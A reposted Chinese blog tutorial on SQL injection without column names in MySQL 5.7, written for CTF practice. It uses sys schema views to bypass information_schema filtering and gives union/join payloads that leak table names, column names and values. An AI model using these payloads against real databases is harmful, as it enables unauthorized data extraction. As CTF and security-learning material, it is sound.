無列名注入


寫在前邊

  又是沒有夢想的一天。。。這里介紹一下無列名注入,要求mysql >= 5.7

  CTF題 https://www.cnblogs.com/Lee-404/p/12830910.html

information_schema

  在 mysql => 5 的版本中存在庫information_schema,記錄着mysql中所有表的結構,通常,在mysql sqli中,我們會通過此庫中的表去獲取其他表的結構,即表名,列名等。但是這個庫也會經常被WAF過濾。

sys

  在mysql5.7增加了sys 系統數據庫,通過這個庫可以快速的了解系統的元數據信息這個庫確實可以方便DBA發現數據庫的很多信息,解決性能瓶頸都提供了巨大幫助,簡單來說,當數據庫版本是5.7,information_schema庫被過濾時,可以利用sys這個庫來讀取數據

測試

  新建一個庫,里邊有兩張表

 

 

  我們都知道,一般注入我們都是在infromation_schema這個庫里獲取我們需要的

    猜數據庫   

select schema_name from information_schema.schemata

   

   猜某庫的數據表

select table_name from information_schema.tables where table_schema='數據庫名'

  

  猜某表的所有列

Select column_name from information_schema.columns where table_name='數據表名'

    

   獲取某列的內容

Select  字段名 from 數據表

   這是我們一般的注入流程,但當information_schema被過濾,mysql又是5.7時,我們可以利用sys庫來獲取信息

  

  先了解一下比較重要的視圖

    sys.schema_auto_increment_columns

  在設計表中,一般會給一些字段添加自增,如果是,那么這個視圖下保存的就是那些有自增字段表的數據庫的信息

  security是sqli-libs的數據庫,test庫中的test表是我自己建的,其中id字段為自增,可以在不使用information_schema的情況下讀取信息

select table_schema from sys.schema_auto_increment_columns;  //查數據庫

 select table_name from sys.schema_auto_increment_columns where table_schema = 'test';  //查表

   和infromation_schema一樣的效果

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

  當表不存在自增字段時可以利用這兩個視圖查詢,在user表中我沒設自增字段

  當然還有其他的視圖可以,具體利用方法和上述差不多

繞過information_schema無列名注入

    經過上述的,似乎只能得到表名,沒有完整的字段名,也就是說,我們無法獲取字段值,這時候就可以利用無列名注入,我這里直接本地測試了(環境懶得搭,假裝過濾了)

    1.獲取字段數,用order by 或 group by

    2.union聯合查詢

select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();

     3.利用join獲取列名(join在CTF中經常使用的思路)

select * from user where id = -1 union all select * from (select * from user as a join user as b)as c;

    

    4.獲取更多字段名和字段值

 select * from user where id = -1 union all select*from (select * from user as a join user b using(id,username,passwd,phone))c;

 

參考鏈接

  https://www.anquanke.com/post/id/193512 

如有錯誤和不足請評論聯系指出,謝謝

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM